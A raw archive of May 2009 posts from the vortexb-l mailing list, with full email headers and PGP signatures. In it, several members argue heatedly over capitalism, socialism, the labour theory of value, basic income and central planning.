=3Clookslikeiwasright=40gmail=2Ecom=3E Date=3A Monday=2C May 25=2C 2009 0=3A58 am Subject=3A Re=3A =5BVoB=5D=3AChina vs=2E US =3E How does that follow=3F =3E = =3E = =3E On Mon=2C May 25=2C 2009 at 12=3A56 AM=2C Harry Veeder =3Chveeder=40n= cf=2Eca=3E wrote=3A =3E = =3E =3E *----- Original Message -----* =3E =3E =3E =3E *From*=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E =3E =3E =3E =3E *Date*=3A Saturday=2C May 23=2C 2009 1=3A44 pm =3E =3E =3E =3E *Subject*=3A Re=3A =5BVoB=5D=3AChina vs=2E US =3E =3E =3E =3E =3E Yes=2E Subjective utility is the primary kind of value=2C an= d then =3E =3E =3E there is a =3E =3E =3E market price which is the aggregate of many subjective utilit= ies=2E =3E =3E =3E The time =3E =3E =3E required to create a product is irrelevant=2C is based on = =3E unreasonable=3E =3E assumptions=2C and what=27s more=2C with great ir= ony=2C = =3E there=27s no way to =3E =3E =3E extract a =3E =3E =3E surplus from it=2E Feel free to show me how I=27m wrong=2E =3E =3E =3E =3E wage-labour should be an option for living rather than a = =3E necessity for =3E =3E living precisely because the time to create =3E =3E =3E =3E a product is irrelevant to its value=2E =3E =3E =3E =3E Harry =3E =3E =3E = =3E = =3E = =3E -- = =3E Never did I see a second sun =3E Never did my skin touch a land of glass =3E Never did my rifle point but true =3E But in a land empty of enemies =3E Waiting for the tick-tick-tick of the want =3E A uranium angel =3E Crying =93behold=2C=94 =3E This land that knew fire is yours =3E Taken from Corruption =3E To begin anew =3E From vortexb-l-request@eskimo.com Mon May 25 10:05:44 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PH5gNp009106; Mon, 25 May 2009 10:05:42 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PH5ecM009090; Mon, 25 May 2009 10:05:40 -0700 Resent-Date: Mon, 25 May 2009 10:05:40 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=HzouC4TMog2PFxv+p3Fcs5zKZJxBp6UmxqkOmUQow8I=; b=Jnw8Zioqp7auxhjhZ9dxpEEk/pNC6+hRJymek5r82mx4GDWy44gLK+8gdvq1MUI2B9 VvitdLvM7RHtBhmd1+8H+kUmBzrqQf8bfEtfl+XESg8Utk3lYiHOlVir356gs6vw+t1e wJZKSeun1nnmV5X0R5F3scc0IyfaSC9vSfMrI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=n+m8t4MYpcgQYrBXgPcpIFP28dsNfwu0ABW+/VQf95RTmFX2Q6EzRk3U187cbCQWQ2 ear9Vd1qZeZI74C+y3wg7CUmIWN9YMySXdhCa4UwlqHSVhVMg5mrqTR1DHvw9Kjfwevw FVUJYZXTVVprtVJO4yULBQf0NwtC7/XIVMuK4= MIME-Version: 1.0 In-Reply-To: <219c3c21d015.21d015219c3c@ncf.ca> References: <219c3c21d015.21d015219c3c@ncf.ca> From: Charles HOPE Date: Mon, 25 May 2009 13:05:19 -0400 Message-ID: <63ffa6020905251005u20abfb7bl1d32be8b76b9ddf7@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b84d9d2984046abf9e6d Resent-Message-ID: <-uT5tD.A.1NC.k_sGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4164 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 406 --001636c5b84d9d2984046abf9e6d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable This paragraph assumes that wages are set by business owners. But they are negotiated between the business owner and the worker and a mutually satisfactory number is reached. On Mon, May 25, 2009 at 12:26 PM, Harry Veeder wrote: > It shows that social expectation that an employer should provide a > minimum hourly-wage is counterproductive to the capitalist system of > production! The income a worker needs to reproduce him/herself should, > honestly speaking, be of no concern to the capitalist. > > It is however, of interest to the state, so the state should provide > everyone with the same basic income, and let the employer pay extra for > the skills they require. > > The phasing in of basic income should be done gradually over several > years. > This would give time for employers to adjust their hiring practices and > business models. > > > harry > > ----- Original Message ----- > From: Charles HOPE > Date: Monday, May 25, 2009 0:58 am > Subject: Re: [VoB]:China vs. US > > > How does that follow? > > > > > > On Mon, May 25, 2009 at 12:56 AM, Harry Veeder wrote: > > > > > *----- Original Message -----* > > > > > > *From*: Charles HOPE > > > > > > *Date*: Saturday, May 23, 2009 1:44 pm > > > > > > *Subject*: Re: [VoB]:China vs. US > > > > > > > Yes. Subjective utility is the primary kind of value, and then > > > > there is a > > > > market price which is the aggregate of many subjective utilities. > > > > The time > > > > required to create a product is irrelevant, is based on > > unreasonable> > assumptions, and what's more, with great irony, > > there's no way to > > > > extract a > > > > surplus from it. Feel free to show me how I'm wrong. > > > > > > wage-labour should be an option for living rather than a > > necessity for > > > living precisely because the time to create > > > > > > a product is irrelevant to its value. > > > > > > Harry > > > > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b84d9d2984046abf9e6d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable This paragraph assumes that wages are set by business owners.=A0 But they a= re negotiated between the business owner and the worker and a mutually sati= sfactory number is reached.

On Mon, May 2= 5, 2009 at 12:26 PM, Harry Veeder <hveeder@ncf.ca> wrote:
It shows that soc= ial expectation that an employer should provide a
minimum hourly-wage is counterproductive to the capitalist system of
production! The income a worker needs to reproduce him/herself should,
honestly speaking, be of no concern to the capitalist.

It is however, of interest to the state, so the state should provide
everyone with the same basic income, and let the employer pay extra for
the skills they require.

The phasing in of basic income should be done gradually over several
years.
This would give time for employers to adjust their hiring practices and
business models.


harry

----- Original Message -----
From: Charles HOPE <look= slikeiwasright@gmail.com>
Date: Monday, May 25, 2009 0:58 am<= br> Subject: Re: [VoB]:China vs. US

> How does that follow?
>
>
> On Mon, May 25, 2009 at 12:56 AM, Harry Veeder <hveeder@ncf.ca> wrote:
>
> > *----- Original Message -----*
> >
> > *From*: Charles HOPE <lookslikeiwasright@gmail.com>
> >
> > *Date*: Saturday, May 23, 2009 1:44 pm
> >
> > *Subject*: Re: [VoB]:China vs. US
> >
> > =A0> Yes. Subjective utility is the primary kind of value, and= then
> > > there is a
> > > market price which is the aggregate of many subjective utili= ties.
> > > The time
> > > required to create a product is irrelevant, is based on
> unreasonable> > assumptions, and what's more, with great iro= ny,
> there's no way to
> > > extract a
> > > surplus from it. Feel free to show me how I'm wrong.
> >
> > wage-labour should be an option for living rather than a
> necessity for
> > living =A0precisely because the time to create
> >
> > a product is irrelevant to its value.
> >
> > Harry
> >
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b84d9d2984046abf9e6d-- From vortexb-l-request@eskimo.com Mon May 25 10:09:53 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PH9o8R010542; Mon, 25 May 2009 10:09:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PH9ofi010531; Mon, 25 May 2009 10:09:50 -0700 Resent-Date: Mon, 25 May 2009 10:09:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: S_a1mWcVM1kmNg6ZlTmQgAlj68SrJYRdhzSbK3ZAcPk6lcFr3pedgWRuwEEvDqVZNSYSIh7ief04G7GjDh9BzfUKIxgVtFO0SoVESXhdrqlQP8u54m2JbWbw7IdXnn3JNHZXSgOUhKTCpu5Nw7rxPboRJxjBj.jsboQW73DKsRvqWtaQm.MqbegVCmNhvqWh4sOPKrube4CaXzq4P2LhmJbi29y6MU3NANwx6MyE08I9CGzNcwElrqcRJA3rw0ILa6baTjKENjAoZQMZLclVamwVyBJdZEtTWCBp_OVwOoYD3VIwQrDmpx.5oJ6teNjBdd6CWJxxIK3BEYqNhw-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Mon, 25 May 2009 12:09:46 -0500 Organization: Austin Instruments. Inc. Message-ID: <15kl15te1nh8hgiif47ac6ub38n238dvnj@4ax.com> References: <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <33BEBAF830E04AC88800196902DB76A9@REVTEC1> <20090525001439.GH30161@shell.resist.ca> <2FBA0B26D68442A98FC5484F45F9C285@REVTEC1> <20090525033054.GL15548@shell.resist.ca> <63ffa6020905242037s7e533ec4j73bd02a24903319d@mail.gmail.com> <20090525034730.GM15548@shell.resist.ca> In-Reply-To: <20090525034730.GM15548@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <-nCSAB.A.dkC.eDtGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4165 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 407 On Sun, 24 May 2009 20:47:30 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> I guess the point is that, whenever Capitalism has been completely >> abolished, the society immediately degenerates into barbarism of an >> incredibly genocidal lethality. Why is socialism so weak, why aren't = these >> liberated workers able to prevent their states from immediately being = taken >> over by thugs that set about slaughtering millions? > >This typical (misleading) question is skewed by the effects of a century= of >relentless capitalist propaganda. What the proper question here actually= is is: why >haven't the workers of the *advanced* capitalist countries succeeded in = staging >socialist revolution yet..? --- The question was perfectly proper whether or not you're capable of or willing to answer it. What's _improper_ is your attempt to impugn it and sidestep the issue by changing the subject. The answer to your question is, obviously: "Because they don't want to." --- >THAT is more to the point. And accurate. --- No, it isn't and no, it isn't. JF =20 From vortexb-l-request@eskimo.com Mon May 25 10:10:19 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4PHAGcq026563; Mon, 25 May 2009 10:10:16 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4PHAC5H026535; Mon, 25 May 2009 10:10:12 -0700 Resent-Date: Mon, 25 May 2009 10:10:12 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=uApUfFwTVn5a9snJJYWzgMCnsJW5wKM7R7+QERMhFOw=; b=Ftu1dlZbxOpfmdHBThTrV/5mF6mRcUfBxiIIv8MWSJ2lCDAJ3Ob/LcZVjoku+lHlTd 91vCvGT4AykKe0aVeXSeG13LhT4VBOPmILLcahSTH0yi6HZM6MXjZ7gPK1HpLwCNgiNn I2O5vxpHJEj0+1UvQOe4t8tx7p9pzOxqnCE54= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=mBY6+qAAIrOOBqY/D2PUyN6nUNReZoeY4d/U1DNjEr9ulSpAwXGfNwAqDWxBFkJJXQ OyYGzO6KeY9w8x32i44ha04kyc+8kn67OP1YfU0Gt3lsaFTqsqw0KehRgThc6cjA+tCh lI+datTmartm0/+cwAGwkCiIFqIQsUrKHaATA= MIME-Version: 1.0 In-Reply-To: <21858421b1df.21b1df218584@ncf.ca> References: <21858421b1df.21b1df218584@ncf.ca> From: Charles HOPE Date: Mon, 25 May 2009 13:09:49 -0400 Message-ID: <63ffa6020905251009j4c1fa12k1195fcc1a7d24ee4@mail.gmail.com> Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b0eec57cbe046abfaea2 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4166 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 408 --001636c5b0eec57cbe046abfaea2 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I'm afraid there's nothing honest about it. First he complains that it is hypothetical, and next he complains that the hypothetical statement isn't factual -- which is obvious, because it's hypothetical! Then he closes by distracting us with the value judgment that the hypothetical is not to his liking -- which is irrelevant. He doesn't like the hypothetical because it proves that most workers are earning very well above the sustenance level, and his Marxism has no explanation for that. On Mon, May 25, 2009 at 11:36 AM, Harry Veeder wrote: > That part of the answer isn't evasive. It is an honest response. > harry > > ----- Original Message ----- > From: Charles HOPE > Date: Monday, May 25, 2009 2:39 am > Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! > > > Sorry, but I have to identify this response as pure evasion. > > > > > > On Mon, May 25, 2009 at 2:17 AM, grok wrote: > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > > > > As the smoke cleared, Charles HOPE > > > mounted the barricade and roared out: > > > > > > > Nice. Thanks. I've gotten through some, and I like it. I have some > > > issues, > > > > though. I will raise them one a time. > > > > > > > > Workers are still compelled to work? Suppose workers had the > > alternate> > choice of living on a plot of land able to grow only > > enough food to feed > > > > themselves. How many would choose that over their current > > circumstances?> > > > > > This is idle petit-bourgeois speculation of the New Age -- i.e. > > Hippie -- > > > kind. Fact > > > of the matter is that most workers cannot and will never be in this > > > situation. The > > > days of the Frontier and the Family Farm are long gone -- and > > what's more: > > > it's not > > > in the least desirable to attempt to return to them either. > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b0eec57cbe046abfaea2 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I'm afraid there's nothing honest about it.=A0 First he complains t= hat it is hypothetical, and next he complains that the hypothetical stateme= nt isn't factual -- which is obvious, because it's hypothetical!=A0= Then he closes by distracting us with the value judgment that the hypothet= ical is not to his liking -- which is irrelevant.

He doesn't like the hypothetical because it proves that most worker= s are earning very well above the sustenance level, and his Marxism has no = explanation for that.



On Mon, May= 25, 2009 at 11:36 AM, Harry Veeder <hveeder@ncf.ca> wrote:
That part of the = answer isn't evasive. It is an honest response.
harry

----- Original Message -----
From: Charles HOPE <look= slikeiwasright@gmail.com>
Date: Monday, May 25, 2009 2:39 am
Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!!

> Sorry, but I have to identify this response as pure evasion.
>
>
> On Mon, May 25, 2009 at 2:17 AM, grok <grok@resist.ca> wrote:
>
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> >
> > As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
> > mounted the barricade and roared out:
> >
> > > Nice. Thanks. I've gotten through some, and I like it. I= have some
> > issues,
> > > though. I will raise them one a time.
> > >
> > > Workers are still compelled to work? Suppose workers had the=
> alternate> > choice of living on a plot of land able to grow onl= y
> enough food to feed
> > > themselves. =A0How many would choose that over their current=
> circumstances?>
>
> > This is idle petit-bourgeois speculation of the New Age -- i.e. > Hippie --
> > kind. Fact
> > of the matter is that most workers cannot and will never be in th= is
> > situation. The
> > days of the Frontier and the Family Farm are long gone -- and
> what's more:
> > it's not
> > in the least desirable to attempt to return to them either.





--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b0eec57cbe046abfaea2-- From vortexb-l-request@eskimo.com Mon May 25 10:52:28 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PHqNSZ027544; Mon, 25 May 2009 10:52:23 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PHqN0S027535; Mon, 25 May 2009 10:52:23 -0700 Resent-Date: Mon, 25 May 2009 10:52:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 25 May 2009 10:52:12 -0700 From: grok To: vortexb-l@eskimo.com Cc: svj.orionworks@gmail.com Message-ID: <20090525175212.GC18962@shell.resist.ca> Reply-To: grok@resist.ca References: <631FEBF5-8F41-4481-BB6A-1ECF321BFF63@ix.netcom.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: APQ-120, anti-radar, XM1014, Tu-22M, military-grade User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4167 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Mylow Outted Status: RO X-Status: X-Keywords: X-UID: 409 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Gee... more politikal talk on vortex-l... I say we ban the lot of them. As the smoke cleared, OrionWorks mounted the barricade and roared out: > As for me... shoot! I guess I'm basically an optimist at heart. I > would prefer to conduct my life on the initial premise of not judging > people, or at least giving them the benefit of the doubt first before > automatically condemning them to the trash heap. This has obviously > not always worked out in my favor. The proper approach is indeed to give most people the benefit of the doubt most of the time. The reason why is as you explained further. > Reagan said it best: "Trust, but verify." Exactly the kind of fascistic war-criminal asshole you WOULDN'T extend the benefit of the doubt to. > Obviously, practicing such personal philosophy runs the risk of > opening myself up to charges of being gullible. It's a risk I'm > willing to accept. I'm sure it will happen to me again. But for me, > it's the lesser of two evils. Assuming an air of intellectual > superiority - that such-n-such a device couldn't possibly work, cuz, > well... cuz we all know better and that it just kant, is not a > behavior I would care to emulate in my life. In a weird kind'a way the > latter attitude, IMO, can mask an unconscious fear of not wanting to > be labeled as behaving in a gullible fashion by one's peers. It could > blind one from ferreting out the occasional diamond in the ruff. This is exactly the attitude which has hobbled the true scientific spirit of enquiry; but not only that: it is also what lies behind much of the failure of working-class politix, historically. Someone wrote that, as far as they were concerned, one of the main failings of the french Left was the fact that most of its leadership was more afraid of being ridiculed, than being _wrong_..! Think about that. > If I've learned anything so far it would seem that life is telling me > it would be wise to verify or disprove one's fantasies as quickly as > possible. > > Regards > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks And that is a principle I myself operatre under: in fact, I am my own most kritikal kritik. Believe that or not! ;P - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoa2swACgkQXo3EtEYbt3FKywCfXDieuTOBY4qryvthZC345HOV gpIAnjxHTUawe6n8CRPUZXiXuq4m4UZJ =M2OR -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon May 25 10:56:46 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PHuicM028917; Mon, 25 May 2009 10:56:44 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PHuhAO028906; Mon, 25 May 2009 10:56:43 -0700 Resent-Date: Mon, 25 May 2009 10:56:43 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 25 May 2009 10:56:38 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! Message-ID: <20090525175638.GD18962@shell.resist.ca> Reply-To: grok@resist.ca References: <20090525010055.GA15548@shell.resist.ca> <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> <20090525061706.GA7943@shell.resist.ca> <63ffa6020905242339q3a326240r7231017c6d48fc94@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905242339q3a326240r7231017c6d48fc94@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: APQ-120, anti-radar, XM1014, Tu-22M, military-grade User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <4xVjdD.A.fDH.bvtGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4168 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 410 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Sorry, but I have to identify this response as pure evasion. Well we will have to agree to disagree on that, won't we? I'm on no hurry to make a mis-step here. Take whatever angle you like to that. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoa29YACgkQXo3EtEYbt3HwQACg1Df4cy5QfOjQumtY0mPeW9VH zvcAoOVXSeIJrnLWza7CC1sAgSvzyc/4 =21+7 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon May 25 11:27:45 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PIRgKn013388; Mon, 25 May 2009 11:27:42 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PIRf93013383; Mon, 25 May 2009 11:27:41 -0700 Resent-Date: Mon, 25 May 2009 11:27:41 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 25 May 2009 11:27:36 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! Message-ID: <20090525182736.GE18962@shell.resist.ca> Reply-To: grok@resist.ca References: <20090525010055.GA15548@shell.resist.ca> <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> <20090525061706.GA7943@shell.resist.ca> <4A1A94A5.A3B3801@centurytel.net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4A1A94A5.A3B3801@centurytel.net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: APQ-120, anti-radar, XM1014, Tu-22M, military-grade User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4169 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 411 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Taylor J. Smith mounted the barricade and roared out: > > grok wrote on 5-25-09: > > But the answer to 'prosperity for all' is a World socialist > planned ekonomy. Nothing less will do the job. > > Hi All, > > All economies are planned; The capitalists are diktators inside their own factories and to the extent of what they control. But beyond that, and a bit more in the collective public sphere -- there is no planning, essentially, in the larger capitalist system. And all you have to do is turn on the TV or open the papers these days to see the results of that. > the issue is the degree to which personal freedom is restricted. Such a typical petit-bourgeois POV... Look, fella: there is no freedom under capitalism if you don't have money. None. Except in the most abstract and essentially meaningless sense. And you have 'one dollar, one vote' in the capitalist political system as well for that matter. So don't talk about "freedom" here so freely. REAL freedom, indeed, starts with *ekonomik* freedom: you begin by freeing yourself from the daily worries and drudge of life. And the promise of that for the mass of Humanity can ONLY come with Socialism -- and people working together to free themselves, collectively. > At one extreme is the drug deal where each party would like to run off with both > the money and the drugs. This situation is sometimes portrayed in the movies with > everyone being gunned down. Obviously some small sacrifice of personal freedom to > maintain an orderly market is to the advantage of all the participants. The solution to the capitalist crisis indeed boils down to either Socialism walking away with it all, or Capitalism walking away with it all. There's no middle ground: it's truly the Law of the Jungle. The difference here, of course, that ONE of these parties 'walking away with it all' is the GOOD guy. And woe be it to us all if it's the BAD guy who walks away. > At the other extreme is the Russian stalinist economy which Gorbachev tried to > reform. Here, the stupidity and corruption of the Russian keptocracy was able to > override so many individual decisions that the economy was unable to produce enough > goods and services, especially a surplus for military purposes, to compete with > Western nations. Gorbachev was trying to save the Russian empire. Hey, you know: it would have helped if the capitalists hadn't had a strategy of beggaring the Eastern Bloc with an arms race the Planet could not afford. And now, of course, it is the turn of the Western thieving kleptocracy to pay for its pyrrhic victory over the forces of "Communism". What hypocrisy. And it's the height of hypocrisy too for imperialist ideologs to talk about "empire" when they are in fact the beneficiaries of ACTUAL empire -- first and foremost over the indian land they stole by slaightering the original nations here; and then by enslaving most of the rest of the Planet. Which is the only reason why they happened to have "won" the Cold War, in fact. > At this moment, if a Sweden-type health care system existed in the US, I would not > legally be able to receive treatment for chronic Lyme disease because the medical > establishment would have the power to forbid it. This is a stupid and hypocritical statement. A lie, AFAIC. How can you so baldly state that there would not be proper treatment for Lyme disease under 'socialized' medicine..?? > And, as part of the US planned economy, not only would there be no medical coverage > for abortions, but also all participants would be hunted down and jailed (See "The > Handmaid's Tale"). Can you imagine, with this kind of central planning, what would > happen in Wahabi Moslem regions? Another set of meaningless and incoherent damned lies. > Central planning depends on central power; and as Lord Acton observed, power > corrupts; and absolute power corrupts absolutely. As in "Animal Farm", the pigs > will always end up looking like men. As usual, you offer only a combination of cluelessness and sheer venality. But for the record: "planning" !== "central planning". This is a false equality that you have thrown up here. But what else is new under the Sun. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoa4xgACgkQXo3EtEYbt3ExlQCgqTPw6bYvoCxEQq0S6MtH4FKm LKsAn0bPzyWci/o8WY0oP1Prgyp09CHj =UKfS -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon May 25 13:50:29 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4PKoQbK028872; Mon, 25 May 2009 13:50:26 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4PKoK1T028829; Mon, 25 May 2009 13:50:20 -0700 Resent-Date: Mon, 25 May 2009 13:50:19 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 25 May 2009 13:50:04 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090525205003.GB5417@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; 